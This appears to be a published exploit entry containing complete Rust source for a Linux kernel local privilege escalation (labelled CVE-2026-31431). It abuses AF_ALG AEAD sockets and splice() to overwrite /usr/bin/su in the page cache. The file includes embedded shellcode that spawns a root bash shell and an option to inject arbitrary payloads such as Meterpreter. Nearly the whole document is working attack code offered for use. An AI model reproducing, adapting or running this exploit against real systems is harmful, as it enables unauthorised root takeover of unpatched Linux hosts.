Linux Kernel 6.8 - Local Privilege Escalation

 * Exploit Title: Linux Kernel 5.4 - 6.8 - Local Privilege Escalation
 * Google Dork: N/A
 * Date: 2026-04-30
 * Exploit Author: Long Fong Chan (https://github.com/iss4cf0ng)
 * Vendor Homepage: https://www.kernel.org/
 * Software Link: https://git.kernel.org/
 * Version: Linux Kernel 5.4 - 6.8 (unpatched)
 * Tested on: Ubuntu 22.04, Debian 12
 * 
 * Description:
 * Linux kernel AF_ALG (algif_aead) vulnerability allows local users
 * to perform arbitrary file overwrite in page cache via splice()
 * and AEAD crypto interface, leading to privilege escalation.
 *
 * This exploit overwrites /usr/bin/su in memory and spawns a root shell.
 * 
 * Requirements:
 * - Unprivileged local user
 * - algif_aead module loaded
 *
 * Usage:
 *   --test       Check vulnerability
 *   --exploit    Spawn root shell
 *   --bin <file> Use custom payload
 */

use std::{env, fs, io};
use std::ffi::CString;
use std::fs::File;
use std::io::{Read, Write};
use std::os::unix::io::AsRawFd;

const TARGET_BINARY: &str = "/usr/bin/su";
const TEST_FILE: &str = "/tmp/.cve_test";

// Shellcode (/bin/bash)
/*
; https://filippo.io/linux-syscall-table/
db 0x7f, 'ELF', 2, 1, 1, 0      ; e_ident
dq 0                            ; padding
dw 2                            ; e_type (ET_EXEC)
dw 62                           ; e_machine (EM_X86_64)
dd 1                            ; e_version
dq 0x400078                     ; e_entry (Entry point)
dq 0x40                         ; e_phoff (Program Header Offset)
dq 0                            ; e_shoff
dd 0                            ; e_flags
dw 64                           ; e_ehsize
dw 56                           ; e_phentsize
dw 1                            ; e_phnum
dw 0, 0, 0                      ; s_header info

; Program Header
dd 1                            ; p_type (PT_LOAD)
dd 5                            ; p_flags (PF_R | PF_X)
dq 0                            ; p_offset
dq 0x400000                     ; p_vaddr
dq 0x400000                     ; p_paddr
dq 0x9e                         ; p_filesz
dq 0x9e                         ; p_memsz
dq 0x1000                       ; p_align

; Program
_start:
    ; setuid(0)
    xor eax, eax                ; clear eax
    xor edi, edi                ; edi = 0 (UID 0)
    mov al, 105                 ; syscall 105 (setuid)
    syscall

    ; execve("/bin/bash", NULL, NULL)
    lea rdi, [rel path]         ; Load effective address of the string
    xor esi, esi                ; argv = NULL
    cdq                         ; edx = 0 (envp = NULL)
    mov al, 59                  ; syscall 59 (execve)
    syscall

    ; exit(0)
    xor edi, edi
    push 60
    pop rax                     ; syscall 60 (exit)
    syscall

path: db "/bin/bash", 0
*/
const BASH_SHELLCODE: &[u8] = &[
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x31, 0xff, 0xb0, 0x69, 0x0f, 0x05,
    0x48, 0x8d, 0x3d, 0x0f, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05, 0x31,
    0xff, 0x6a, 0x3c, 0x58, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00
];

unsafe fn inject_payload(fd: i32, payload: &[u8]) {
    for i in (0..payload.len()).step_by(4) {
        let mut chunk = [0u8; 4];
        let end = std::cmp::min(i + 4, payload.len());
        chunk[..end - i].copy_from_slice(&payload[i..end]);
        
        do_kernel_injection(fd, i, &chunk);
        
        if i % 40 == 0 {
            io::stdout().flush().ok(); 
        }
    }
}

// Linux kernel injection
unsafe fn do_kernel_injection(target_fd: i32, t_idx: usize, chunk: &[u8]) {
    let master_fd = libc::socket(38, libc::SOCK_SEQPACKET, 0);
    let mut addr: [u8; 88] = [0; 88]; 
    addr[0..2].copy_from_slice(&38u16.to_ne_bytes());
    std::ptr::copy_nonoverlapping("aead".as_ptr(), addr.as_mut_ptr().add(2), 4);
    let name = "authencesn(hmac(sha256),cbc(aes))";
    std::ptr::copy_nonoverlapping(name.as_ptr(), addr.as_mut_ptr().add(24), name.len());
    libc::bind(master_fd, addr.as_ptr() as _, 88);

    let mut key = [0u8; 40];
    key[0..8].copy_from_slice(&[0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10]);
    libc::setsockopt(master_fd, 279, 1, key.as_ptr() as _, 40);
    libc::setsockopt(master_fd, 279, 5, &4u32 as *const _ as _, 4);

    let op_fd = libc::accept(master_fd, std::ptr::null_mut(), std::ptr::null_mut());
    let mut cmsg_buf = [0u8; 128];
    let mut data = [0u8; 8];
    data[0..4].copy_from_slice(b"AAAA");
    data[4..8].copy_from_slice(chunk);
    
    let mut iov = libc::iovec { iov_base: data.as_mut_ptr() as _, iov_len: 8 };
    let mut msg: libc::msghdr = std::mem::zeroed();
    msg.msg_iov = &mut iov;
    msg.msg_iovlen = 1;
    msg.msg_control = cmsg_buf.as_mut_ptr() as _;
    
    let mut p = cmsg_buf.as_mut_ptr();

    let mut h1: libc::cmsghdr = std::mem::zeroed();
    h1.cmsg_len = libc::CMSG_LEN(4) as _;
    h1.cmsg_level = 279;
    h1.cmsg_type = 3;
    *(p as *mut libc::cmsghdr) = h1;
    p = p.add(libc::CMSG_SPACE(4) as usize);

    let mut h2: libc::cmsghdr = std::mem::zeroed();
    h2.cmsg_len = libc::CMSG_LEN(20) as _;
    h2.cmsg_level = 279;
    h2.cmsg_type = 2;
    *(p as *mut libc::cmsghdr) = h2;
    *(libc::CMSG_DATA(p as _) as *mut u32) = 16;
    p = p.add(libc::CMSG_SPACE(20) as usize);

    let mut h3: libc::cmsghdr = std::mem::zeroed();
    h3.cmsg_len = libc::CMSG_LEN(4) as _;
    h3.cmsg_level = 279;
    h3.cmsg_type = 4;
    *(p as *mut libc::cmsghdr) = h3;
    *(libc::CMSG_DATA(p as _) as *mut u32) = 8;
    
    msg.msg_controllen = 32 + 16 + 16; 

    libc::sendmsg(op_fd, &msg, 0x8000);
    
    let mut pipes = [0i32; 2];
    libc::pipe(pipes.as_mut_ptr());
    let mut off: i64 = 0;
    
    libc::splice(target_fd, &mut off, pipes[1], std::ptr::null_mut(), t_idx + 4, 0);
    libc::splice(pipes[0], std::ptr::null_mut(), op_fd, std::ptr::null_mut(), t_idx + 4, 0);
    
    let mut drain = [0u8; 1024];
    libc::recv(op_fd, drain.as_mut_ptr() as _, 1024, 0x40);

    libc::close(op_fd); libc::close(master_fd);
    libc::close(pipes[0]); libc::close(pipes[1]);
}

fn main() -> io::Result<()> {
    let args: Vec<String> = env::args().collect();
    println!("--------------------------------------------------");
    println!("  CVE-2026-31431 Linux Copy-Fail Exploit (Rust)   ");
    println!("--------------------------------------------------");

    if args.len() < 2 {
        println!("Usage: {} [--test | --exploit | --bin <file>]", args[0]);
        return Ok(());
    }

    match args[1].as_str() {

        "--test" => {
            // Test vulnerability

            println!("[*] Mode: Vulnerability Testing");
            
            let mut f = File::create(TEST_FILE)?;
            f.write_all(&vec![b'A'; 64])?;
            let target = File::open(TEST_FILE)?;
            
            unsafe {
                inject_payload(target.as_raw_fd(), b"HACK")
            };
            
            let mut res = vec![0u8; 4];
            File::open(TEST_FILE)?.read_exact(&mut res)?;
            
            if &res == b"HACK" {
                println!("\x1b[31;1m[!] VULNERABLE!\x1b[0m");
            }
            else {
                println!("[+] SAFE");
            }
            
            fs::remove_file(TEST_FILE).ok();
        }

        "--exploit" => {
           // Vulnerability exploitation, provide interactive shell
           
           println!("[*] Mode: Privilege Escalation (Default: /bin/bash)");
            
            let target = File::open(TARGET_BINARY)?;
            unsafe {
                inject_payload(target.as_raw_fd(), BASH_SHELLCODE)
            };
            
            println!("\n[+] Spawning root shell...");
            
            let cmd = CString::new("su").unwrap();
            unsafe {
                libc::execvp(cmd.as_ptr(), [cmd.as_ptr(), std::ptr::null()].as_ptr());
            }
        }

        "--bin" => {
            // Load customized shellcode bin file, such as Meterpreter

            if args.len() < 3 {
                println!("[!] Error: Please specify a bin file.");
                return Ok(());
            }

            let bin_path = &args[2];

            println!("[*] Mode: Custom Shellcode Injection");
            println!("[*] Loading: {}", bin_path);

            let custom_payload = fs::read(bin_path)?;
            let target = File::open(TARGET_BINARY)?;
            
            unsafe {
                inject_payload(target.as_raw_fd(), &custom_payload) 
            };

            println!("\n[+] Injection complete. Executing {}...", TARGET_BINARY);
            
            let cmd = CString::new("su").unwrap();
            unsafe {
                libc::execvp(cmd.as_ptr(), [cmd.as_ptr(), std::ptr::null()].as_ptr());
            }
        }
        
        _ => println!("[!] Unknown option.")
    }

    Ok(())
}